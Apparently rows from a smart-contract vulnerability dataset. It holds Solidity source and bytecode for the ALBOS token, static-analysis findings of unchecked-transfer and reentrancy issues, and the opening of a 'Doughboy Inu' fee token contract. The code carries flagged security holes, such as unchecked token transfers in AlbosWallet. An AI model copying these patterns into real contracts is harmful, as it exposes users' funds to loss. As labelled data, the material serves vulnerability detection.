function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) afterListing public {
require(_value <= balances[msg.sender]);
if (!staff[msg.sender]) {
require(_value <= checkVestingWithFrozen(msg.sender));
}
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(burner, _value);
emit Transfer(burner, address(0), _value);
}
}
contract StandardToken is ERC20, BurnableToken {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) afterListing public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
if (!staff[_from]) {
require(_value <= checkVestingWithFrozen(_from));
}
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Aprove the passed address to spend the specified amount of tokens on behalf of msg.sender.
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifing the amount of tokens still avaible for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
}
contract AlbosWallet is Ownable {
using SafeMath for uint256;
uint256 public withdrawFoundersTokens;
uint256 public withdrawReservedTokens;
address public foundersAddress;
address public reservedAddress;
AlbosToken public albosAddress;
constructor(address _albosAddress, address _foundersAddress, address _reservedAddress) public {
albosAddress = AlbosToken(_albosAddress);
owner = albosAddress;
foundersAddress = _foundersAddress;
reservedAddress = _reservedAddress;
}
modifier onlyFounders() {
require(msg.sender == foundersAddress);
_;
}
modifier onlyReserved() {
require(msg.sender == reservedAddress);
_;
}
function viewFoundersTokens() public view returns (uint256) {
if (now >= albosAddress.launchTime().add(270 days)) {
return albosAddress.foundersSupply();
} else if (now >= albosAddress.launchTime().add(180 days)) {
return albosAddress.foundersSupply().mul(65).div(100);
} else if (now >= albosAddress.launchTime().add(90 days)) {
return albosAddress.foundersSupply().mul(3).div(10);
} else {
return 0;
}
}
function viewReservedTokens() public view returns (uint256) {
if (now >= albosAddress.launchTime().add(270 days)) {
return albosAddress.reservedSupply();
} else if (now >= albosAddress.launchTime().add(180 days)) {
return albosAddress.reservedSupply().mul(65).div(100);
} else if (now >= albosAddress.launchTime().add(90 days)) {
return albosAddress.reservedSupply().mul(3).div(10);
} else {
return 0;
}
}
function getFoundersTokens(uint256 _tokens) public onlyFounders {
uint256 tokens = _tokens.mul(10 ** 18);
require(withdrawFoundersTokens.add(tokens) <= viewFoundersTokens());
albosAddress.transfer(foundersAddress, tokens);
withdrawFoundersTokens = withdrawFoundersTokens.add(tokens);
}
function getReservedTokens(uint256 _tokens) public onlyReserved {
uint256 tokens = _tokens.mul(10 ** 18);
require(withdrawReservedTokens.add(tokens) <= viewReservedTokens());
albosAddress.transfer(reservedAddress, tokens);
withdrawReservedTokens = withdrawReservedTokens.add(tokens);
}
}
contract AlbosToken is StandardToken {
string constant public name = "ALBOS Token";
string constant public symbol = "ALB";
uint256 public decimals = 18;
uint256 public INITIAL_SUPPLY = uint256(28710000000).mul(10 ** decimals); // 28,710,000,000 tokens
uint256 public foundersSupply = uint256(4306500000).mul(10 ** decimals); // 4,306,500,000 tokens
uint256 public reservedSupply = uint256(2871000000).mul(10 ** decimals); // 2,871,000,000 tokens
AlbosWallet public albosWallet;
constructor() public {
totalSupply_ = INITIAL_SUPPLY;
balances[address(this)] = totalSupply_;
emit Transfer(0x0, address(this), totalSupply_);
agentAddress = msg.sender;
staff[owner] = true;
staff[agentAddress] = true;
}
modifier onlyAgent() {
require(msg.sender == agentAddress || msg.sender == owner);
_;
}
function startListing() public onlyOwner {
require(!listing);
launchTime = now;
listing = true;
}
function setTeamContract(address _albosWallet) external onlyOwner {
albosWallet = AlbosWallet(_albosWallet);
balances[address(albosWallet)] = balances[address(albosWallet)].add(foundersSupply).add(reservedSupply);
balances[address(this)] = balances[address(this)].sub(foundersSupply).sub(reservedSupply);
emit Transfer(address(this), address(albosWallet), balances[address(albosWallet)]);
}
function addUniqueSaleTokens(address sender, uint256 amount) external onlyAgent {
uniqueTokens[sender] = uniqueTokens[sender].add(amount);
balances[address(this)] = balances[address(this)].sub(amount);
balances[sender] = balances[sender].add(amount);
emit Transfer(address(this), sender, amount);
}
function addUniqueSaleTokensMulti(address[] sender, uint256[] amount) external onlyAgent {
require(sender.length > 0 && sender.length == amount.length);
for(uint i = 0; i < sender.length; i++) {
uniqueTokens[sender[i]] = uniqueTokens[sender[i]].add(amount[i]);
balances[address(this)] = balances[address(this)].sub(amount[i]);
balances[sender[i]] = balances[sender[i]].add(amount[i]);
emit Transfer(address(this), sender[i], amount[i]);
}
}
function addPrivateSaleTokens(address sender, uint256 amount) external onlyAgent {
balances[address(this)] = balances[address(this)].sub(amount);
balances[sender] = balances[sender].add(amount);
emit Transfer(address(this), sender, amount);
}
function addPrivateSaleTokensMulti(address[] sender, uint256[] amount) external onlyAgent {
require(sender.length > 0 && sender.length == amount.length);
for(uint i = 0; i < sender.length; i++) {
balances[address(this)] = balances[address(this)].sub(amount[i]);
balances[sender[i]] = balances[sender[i]].add(amount[i]);
emit Transfer(address(this), sender[i], amount[i]);
}
}
function addPreSaleTokens(address sender, uint256 amount) external onlyAgent {
preSaleTokens[sender] = preSaleTokens[sender].add(amount);
balances[address(this)] = balances[address(this)].sub(amount);
balances[sender] = balances[sender].add(amount);
emit Transfer(address(this), sender, amount);
}
function addPreSaleTokensMulti(address[] sender, uint256[] amount) external onlyAgent {
require(sender.length > 0 && sender.length == amount.length);
for(uint i = 0; i < sender.length; i++) {
preSaleTokens[sender[i]] = preSaleTokens[sender[i]].add(amount[i]);
balances[address(this)] = balances[address(this)].sub(amount[i]);
balances[sender[i]] = balances[sender[i]].add(amount[i]);
emit Transfer(address(this), sender[i], amount[i]);
}
}
function addCrowdSaleTokens(address sender, uint256 amount) external onlyAgent {
crowdSaleTokens[sender] = crowdSaleTokens[sender].add(amount);
balances[address(this)] = balances[address(this)].sub(amount);
balances[sender] = balances[sender].add(amount);
emit Transfer(address(this), sender, amount);
}
function addCrowdSaleTokensMulti(address[] sender, uint256[] amount) external onlyAgent {
require(sender.length > 0 && sender.length == amount.length);
for(uint i = 0; i < sender.length; i++) {
crowdSaleTokens[sender[i]] = crowdSaleTokens[sender[i]].add(amount[i]);
balances[address(this)] = balances[address(this)].sub(amount[i]);
balances[sender[i]] = balances[sender[i]].add(amount[i]);
emit Transfer(address(this), sender[i], amount[i]);
}
}
function addFrostTokens(address sender, uint256 amount, uint256 blockTime) public onlyAgent {
totalFreezeTokens = totalFreezeTokens.add(amount);
require(totalFreezeTokens <= totalSupply_.mul(2).div(10));
freezeTokens[sender] = amount;
freezeTimeBlock[sender] = blockTime;
}
function transferAndFrostTokens(address sender, uint256 amount, uint256 blockTime) external onlyAgent {
balances[address(this)] = balances[address(this)].sub(amount);
balances[sender] = balances[sender].add(amount);
emit Transfer(address(this), sender, amount);
addFrostTokens(sender, amount, blockTime);
}
function addFrostTokensMulti(address[] sender, uint256[] amount, uint256[] blockTime) external onlyAgent {
require(sender.length > 0 && sender.length == amount.length && amount.length == blockTime.length);
for(uint i = 0; i < sender.length; i++) {
totalFreezeTokens = totalFreezeTokens.add(amount[i]);
freezeTokens[sender[i]] = amount[i];
freezeTimeBlock[sender[i]] = blockTime[i];
}
require(totalFreezeTokens <= totalSupply_.mul(2).div(10));
}
function transferAgent(address _agent) external onlyOwner {
agentAddress = _agent;
}
function addStaff(address _staff) external onlyOwner {
staff[_staff] = true;
}
function killFrost() external onlyOwner {
freezing = false;
}
}
|
0x60806040526004361061022e5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166237dd47811461023357806303c453051461025957806306fdde0314610280578063078d12581461030a578063095ea7b31461033157806318160ddd1461036957806323b872dd1461037e5780632b8b1bc4146103a85780632caafb54146103cf5780632ff2e9dc146103e4578063313ce567146103f957806335f64a301461040e578063370e052b1461043f578063386136901461046b5780633c8b6597146104805780634248afe8146104ac57806342966c68146104d857806344d19d2b146104f05780634b963025146105055780634c10d0a5146105315780634f83158a14610569578063522e4c8a1461058a5780635607f408146105ab5780635b814e16146105cc5780636ba7d28a146105e157806370a0823114610602578063715018a614610623578063790ca413146106385780638935860d1461064d5780638da5cb5b1461066e578063906d57851461068357806395d89b41146106a4578063a7577542146106b9578063a9059cbb146106dd578063b10688bb14610701578063bc7c55ed14610722578063bdf82b2a14610737578063c20a0fd21461074c578063d0abf0a51461076d578063d8d4ec021461078e578063dbec6c89146107af578063dd62ed3e146107d0578063e5a3c0ad146107f7578063f2fde38b1461081b578063f3c8f3ef1461083c578063fa4fb36914610851575b600080fd5b34801561023f57600080fd5b50610257600160a060020a0360043516602435610875565b005b34801561026557600080fd5b5061026e610983565b60408051918252519081900360200190f35b34801561028c57600080fd5b50610295610989565b6040805160208082528351818301528351919283929083019185019080838360005b838110156102cf5781810151838201526020016102b7565b50505050905090810190601f1680156102fc5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561031657600080fd5b50610257600160a060020a03600435166024356044356109c0565b34801561033d57600080fd5b50610355600160a060020a0360043516602435610a67565b604080519115158252519081900360200190f35b34801561037557600080fd5b5061026e610ace565b34801561038a57600080fd5b50610355600160a060020a0360043581169060243516604435610ad4565b3480156103b457600080fd5b50610257600160a060020a0360043516602435604435610cb2565b3480156103db57600080fd5b5061026e610d8b565b3480156103f057600080fd5b5061026e610d91565b34801561040557600080fd5b5061026e610d97565b34801561041a57600080fd5b50610423610d9d565b60408051600160a060020a039092168252519081900360200190f35b34801561044b57600080fd5b506102576024600480358281019290820135918135918201910135610dac565b34801561047757600080fd5b50610423610fb9565b34801561048c57600080fd5b506102576024600480358281019290820135918135918201910135610fce565b3480156104b857600080fd5b5061025760246004803582810192908201359181359182019101356110fc565b3480156104e457600080fd5b50610257600435611285565b3480156104fc57600080fd5b5061026e6113da565b34801561051157600080fd5b5061025760246004803582810192908201359181359182019101356113e0565b34801561053d57600080fd5b506102576024600480358281019290820135918135808301929082013591604435918201910135611569565b34801561057557600080fd5b50610355600160a060020a03600435166116c5565b34801561059657600080fd5b50610257600160a060020a03600435166116da565b3480156105b757600080fd5b5061026e600160a060020a0360043516611718565b3480156105d857600080fd5b5061035561172a565b3480156105ed57600080fd5b5061026e600160a060020a0360043516611738565b34801561060e57600080fd5b5061026e600160a060020a03600435166117ba565b34801561062f57600080fd5b50610257611801565b34801561064457600080fd5b5061026e61186d565b34801561065957600080fd5b50610257600160a060020a0360043516611873565b34801561067a57600080fd5b506104236118c1565b34801561068f57600080fd5b50610257600160a060020a03600435166118d0565b3480156106b057600080fd5b506102956119d8565b3480156106c557600080fd5b50610257600160a060020a0360043516602435611a0f565b3480156106e957600080fd5b50610355600160a060020a0360043516602435611aa4565b34801561070d57600080fd5b5061026e600160a060020a0360043516611bea565b34801561072e57600080fd5b50610355611bfc565b34801561074357600080fd5b50610257611c05565b34801561075857600080fd5b5061026e600160a060020a0360043516611c29565b34801561077957600080fd5b5061026e600160a060020a0360043516611c3b565b34801561079a57600080fd5b5061026e600160a060020a0360043516611c4d565b3480156107bb57600080fd5b5061026e600160a060020a0360043516611f81565b3480156107dc57600080fd5b5061026e600160a060020a0360043581169060243516611f93565b34801561080357600080fd5b50610257600160a060020a0360043516602435611fbe565b34801561082757600080fd5b50610257600160a060020a0360043516612012565b34801561084857600080fd5b506102576120a6565b34801561085d57600080fd5b50610257600160a060020a03600435166024356120e0565b600b54620100009004600160a060020a031633148061089e5750600054600160a060020a031633145b15156108a957600080fd5b600160a060020a0382166000908152600460205260409020546108d2908263ffffffff61217516565b600160a060020a03831660009081526004602090815260408083209390935530825260029052205461090a908263ffffffff61218216565b3060009081526002602052604080822092909255600160a060020a0384168152205461093c908263ffffffff61217516565b600160a060020a0383166000818152600260209081526040918290209390935580518481529051919230926000805160206121d38339815191529281900390910190a35050565b600f5481565b60408051808201909152600b81527f414c424f5320546f6b656e000000000000000000000000000000000000000000602082015281565b600b54620100009004600160a060020a03163314806109e95750600054600160a060020a031633145b15156109f457600080fd5b600a54610a07908363ffffffff61217516565b600a908155600354610a319190610a2590600263ffffffff61219416565b9063ffffffff6121bd16565b600a541115610a3f57600080fd5b600160a060020a03909216600090815260076020908152604080832093909355600890522055565b336000818152600c60209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a35060015b92915050565b60035490565b600b5460009060ff16151560011480610af75750600054600160a060020a031633145b80610b125750600b54620100009004600160a060020a031633145b1515610b1d57600080fd5b600160a060020a0383161515610b3257600080fd5b600160a060020a038416600090815260026020526040902054821115610b5757600080fd5b600160a060020a0384166000908152600c60209081526040808320338452909152902054821115610b8757600080fd5b600160a060020a03841660009081526001602052604090205460ff161515610bbe57610bb284611738565b821115610bbe57600080fd5b600160a060020a038316600090815260026020526040902054610be7908363ffffffff61217516565b600160a060020a038085166000908152600260205260408082209390935590861681522054610c1c908363ffffffff61218216565b600160a060020a038516600090815260026020908152604080832093909355600c815282822033835290522054610c59908363ffffffff61218216565b600160a060020a038086166000818152600c6020908152604080832033845282529182902094909455805186815290519287169391926000805160206121d3833981519152929181900390910190a35060019392505050565b600b54620100009004600160a060020a0316331480610cdb5750600054600160a060020a031633145b1515610ce657600080fd5b30600090815260026020526040902054610d06908363ffffffff61218216565b3060009081526002602052604080822092909255600160a060020a03851681522054610d38908363ffffffff61217516565b600160a060020a0384166000818152600260209081526040918290209390935580518581529051919230926000805160206121d38339815191529281900390910190a3610d868383836109c0565b505050565b600a5481565b600e5481565b600d5481565b601154600160a060020a031681565b600b54600090620100009004600160a060020a0316331480610dd85750600054600160a060020a031633145b1515610de357600080fd5b600084118015610df257508382145b1515610dfd57600080fd5b5060005b83811015610fb257610e70838383818110610e1857fe5b90506020020135600560008888868181101515610e3157fe5b90506020020135600160a060020a0316600160a060020a0316600160a060020a031681526020019081526020016000205461217590919063ffffffff16565b60056000878785818110610e8057fe5b60209081029290920135600160a060020a031683525081019190915260400160002055610ed7838383818110610eb257fe5b306000908152600260209081526040909120549391020135905063ffffffff61218216565b30600090815260026020526040902055610f0f838383818110610ef657fe5b90506020020135600260008888868181101515610e3157fe5b60026000878785818110610f1f57fe5b60209081029290920135600160a060020a031683525081019190915260400160002055848482818110610f4e57fe5b90506020020135600160a060020a0316600160a060020a031630600160a060020a03166000805160206121d38339815191528585858181101515610f8e57fe5b905060200201356040518082815260200191505060405180910390a3600101610e01565b5050505050565b600b54620100009004600160a060020a031681565b600b54600090620100009004600160a060020a0316331480610ffa5750600054600160a060020a031633145b151561100557600080fd5b60008411801561101457508382145b151561101f57600080fd5b5060005b83811015610fb25761103a838383818110610eb257fe5b30600090815260026020526040902055611059838383818110610ef657fe5b6002600087878581811061106957fe5b60209081029290920135600160a060020a03168352508101919091526040016000205584848281811061109857fe5b90506020020135600160a060020a0316600160a060020a031630600160a060020a03166000805160206121d383398151915285858581811015156110d857fe5b905060200201356040518082815260200191505060405180910390a3600101611023565b600b54600090620100009004600160a060020a03163314806111285750600054600160a060020a031633145b151561113357600080fd5b60008411801561114257508382145b151561114d57600080fd5b5060005b83811015610fb25761118183838381811061116857fe5b90506020020135600660008888868181101515610e3157fe5b6006600087878581811061119157fe5b60209081029290920135600160a060020a0316835250810191909152604001600020556111c3838383818110610eb257fe5b306000908152600260205260409020556111e2838383818110610ef657fe5b600260008787858181106111f257fe5b60209081029290920135600160a060020a03168352508101919091526040016000205584848281811061122157fe5b90506020020135600160a060020a0316600160a060020a031630600160a060020a03166000805160206121d3833981519152858585818110151561126157fe5b905060200201356040518082815260200191505060405180910390a3600101611151565b600b5460009060ff161515600114806112a85750600054600160a060020a031633145b806112c35750600b54620100009004600160a060020a031633145b15156112ce57600080fd5b336000908152600260205260409020548211156112ea57600080fd5b3360009081526001602052604090205460ff1615156113185761130c33611738565b82111561131857600080fd5b5033600081815260026020526040902054611339908363ffffffff61218216565b600160a060020a038216600090815260026020526040902055600354611365908363ffffffff61218216565b600355604080518381529051600160a060020a038316917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5919081900360200190a2604080518381529051600091600160a060020a038416916000805160206121d38339815191529181900360200190a35050565b60105481565b600b54600090620100009004600160a060020a031633148061140c5750600054600160a060020a031633145b151561141757600080fd5b60008411801561142657508382145b151561143157600080fd5b5060005b83811015610fb25761146583838381811061144c57fe5b90506020020135600460008888868181101515610e3157fe5b6004600087878581811061147557fe5b60209081029290920135600160a060020a0316835250810191909152604001600020556114a7838383818110610eb257fe5b306000908152600260205260409020556114c6838383818110610ef657fe5b600260008787858181106114d657fe5b60209081029290920135600160a060020a03168352508101919091526040016000205584848281811061150557fe5b90506020020135600160a060020a0316600160a060020a031630600160a060020a03166000805160206121d3833981519152858585818110151561154557fe5b905060200201356040518082815260200191505060405180910390a3600101611435565b600b54600090620100009004600160a060020a03163314806115955750600054600160a060020a031633145b15156115a057600080fd5b6000861180156115af57508584145b80156115ba57508382145b15156115c557600080fd5b5060005b85811015611693576115f88585838181106115e057fe5b90506020020135600a5461217590919063ffffffff16565b600a5584848281811061160757fe5b9050602002013560076000898985818110151561162057fe5b60209081029290920135600160a060020a03168352508101919091526040016000205582828281811061164f57fe5b9050602002013560086000898985818110151561166857fe5b60209081029290920135600160a060020a0316835250810191909152604001600020556001016115c9565b6116ae600a610a25600260035461219490919063ffffffff16565b600a5411156116bc57600080fd5b50505050505050565b60016020526000908152604090205460ff1681565b600054600160a060020a031633146116f157600080fd5b600160a060020a03166000908152600160208190526040909120805460ff19169091179055565b60076020526000908152604090205481565b600b54610100900460ff1681565b600b54600090610100900460ff16156117ac57600160a060020a038216600090815260086020526040902054421061177a5761177382611c4d565b90506117b5565b600160a060020a038216600090815260076020526040902054611773906117a084611c4d565b9063ffffffff61218216565b61177382611c4d565b919050565b600160a060020a03811660009081526001602052604081205460ff1615156117e55761177382611738565b50600160a060020a031660009081526002602052604090205490565b600054600160a060020a0316331461181857600080fd5b60008054604051600160a060020a03909116917ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482091a26000805473ffffffffffffffffffffffffffffffffffffffff19169055565b60095481565b600054600160a060020a0316331461188a57600080fd5b600b8054600160a060020a03909216620100000275ffffffffffffffffffffffffffffffffffffffff000019909216919091179055565b600054600160a060020a031681565b600054600160a060020a031633146118e757600080fd5b6011805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a038381169190911791829055601054600f54929091166000908152600260205260409020546119489261193c9190612175565b9063ffffffff61217516565b601154600160a060020a031660009081526002602052604080822092909255601054600f543083529290912054611989926117a0919063ffffffff61218216565b30600081815260026020908152604080832094909455601154600160a060020a031680835291849020548451908152935191936000805160206121d3833981519152929081900390910190a350565b60408051808201909152600381527f414c420000000000000000000000000000000000000000000000000000000000602082015281565b600b54620100009004600160a060020a0316331480611a385750600054600160a060020a031633145b1515611a4357600080fd5b600160a060020a038216600090815260066020526040902054611a6c908263ffffffff61217516565b600160a060020a03831660009081526006602090815260408083209390935530825260029052205461090a908263ffffffff61218216565b600b5460009060ff16151560011480611ac75750600054600160a060020a031633145b80611ae25750600b54620100009004600160a060020a031633145b1515611aed57600080fd5b600160a060020a0383161515611b0257600080fd5b33600090815260026020526040902054821115611b1e57600080fd5b3360009081526001602052604090205460ff161515611b4c57611b4033611738565b821115611b4c57600080fd5b33600090815260026020526040902054611b6c908363ffffffff61218216565b3360009081526002602052604080822092909255600160a060020a03851681522054611b9e908363ffffffff61217516565b600160a060020a0384166000818152600260209081526040918290209390935580518581529051919233926000805160206121d38339815191529281900390910190a350600192915050565b60046020526000908152604090205481565b600b5460ff1681565b600054600160a060020a03163314611c1c57600080fd5b600b805461ff0019169055565b60066020526000908152604090205481565b60086020526000908152604090205481565b600954600090611c6790630163f50063ffffffff61217516565b4210611c8c5750600160a060020a0381166000908152600260205260409020546117b5565b600954611ca29062ed4e0063ffffffff61217516565b4210611d0257600160a060020a03821660009081526004602052604090205461177390611cdd90606490610a2590602363ffffffff61219416565b600160a060020a0384166000908152600260205260409020549063ffffffff61218216565b600954611d1890629e340063ffffffff61217516565b4210611d5357600160a060020a03821660009081526004602052604090205461177390611cdd90600a90610a2590600763ffffffff61219416565b600954611d69906276a70063ffffffff61217516565b4210611dd957600160a060020a03821660009081526006602052604090205461177390611cdd90611da890600a90610a2590600263ffffffff61219416565b600160a060020a03851660009081526004602052604090205461193c90600a90610a2590600763ffffffff61219416565b600954611def90624f1a0063ffffffff61217516565b4210611e8857600160a060020a03821660009081526006602052604090205461177390611cdd90611e2e90600a90610a2590600463ffffffff61219416565b600160a060020a03851660009081526005602052604090205461193c90611e6390600a90610a2590600363ffffffff61219416565b600160a060020a0387166000908152600460205260409020549063ffffffff61217516565b600954611e9e9062278d0063ffffffff61217516565b4210611f1357600160a060020a03821660009081526006602081905260409091205461177391611cdd91611ede91600a91610a259163ffffffff61219416565b600160a060020a03851660009081526005602052604090205461193c90611e6390600a90610a2590600663ffffffff61219416565b600160a060020a03821660009081526006602052604090205461177390611cdd90611f4c90600a90610a2590600863ffffffff61219416565b600160a060020a03851660009081526005602052604090205461193c90611e6390600a90610a2590600963ffffffff61219416565b60056020526000908152604090205481565b600160a060020a039182166000908152600c6020908152604080832093909416825291909152205490565b600b54620100009004600160a060020a0316331480611fe75750600054600160a060020a031633145b1515611ff257600080fd5b3060009081526002602052604090205461090a908263ffffffff61218216565b600054600160a060020a0316331461202957600080fd5b600160a060020a038116151561203e57600080fd5b60008054604051600160a060020a03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600054600160a060020a031633146120bd57600080fd5b600b5460ff16156120cd57600080fd5b42600955600b805460ff19166001179055565b600b54620100009004600160a060020a03163314806121095750600054600160a060020a031633145b151561211457600080fd5b600160a060020a03821660009081526005602052604090205461213d908263ffffffff61217516565b600160a060020a03831660009081526005602090815260408083209390935530825260029052205461090a908263ffffffff61218216565b81810182811015610ac857fe5b60008282111561218e57fe5b50900390565b60008215156121a557506000610ac8565b508181028183828115156121b557fe5b0414610ac857fe5b600081838115156121ca57fe5b0493925050505600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a72305820857e7b05214e31c4da210aed1740985ef46201507d6040abe52cc6f00cb0dbe60029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
| 3,708 |
0x383Ea6F2589e2bF09176C000094a42EfAA6D0DbB
|
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if(a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract Doughboy is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => User) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e8 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = unicode"Doughboy Inu";
string private constant _symbol = unicode"Doughboy";
uint8 private constant _decimals = 9;
uint256 private _taxFee = 1;
uint256 private _teamFee = 12;
uint256 private _feeRate = 13;
uint256 private _feeMultiplier = 1000;
uint256 private _launchTime;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
uint256 private _maxBuyAmount;
address payable private _FeeAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private _cooldownEnabled = true;
bool private inSwap = false;
uint256 private buyLimitEnd;
uint private holdingCapPercent = 2;
struct User {
uint256 buy;
uint256 sell;
bool exists;
}
event MaxBuyAmountUpdated(uint _maxBuyAmount);
event CooldownEnabledUpdated(bool _cooldown);
event FeeMultiplierUpdated(uint _multiplier);
event FeeRateUpdated(uint _rate);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress) {
_FeeAddress = FeeAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(from != owner() && to != owner()) {
if(_cooldownEnabled) {
if(!cooldown[msg.sender].exists) {
cooldown[msg.sender] = User(0,0,true);
}
}
if (to != uniswapV2Pair && to != address(this))
require(balanceOf(to) + amount <= _getMaxHolding(), "Max holding cap breached.");
// buy
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(tradingOpen, "Trading not yet enabled.");
_teamFee = 12;
if(_cooldownEnabled) {
if(buyLimitEnd > block.timestamp) {
require(amount <= _maxBuyAmount);
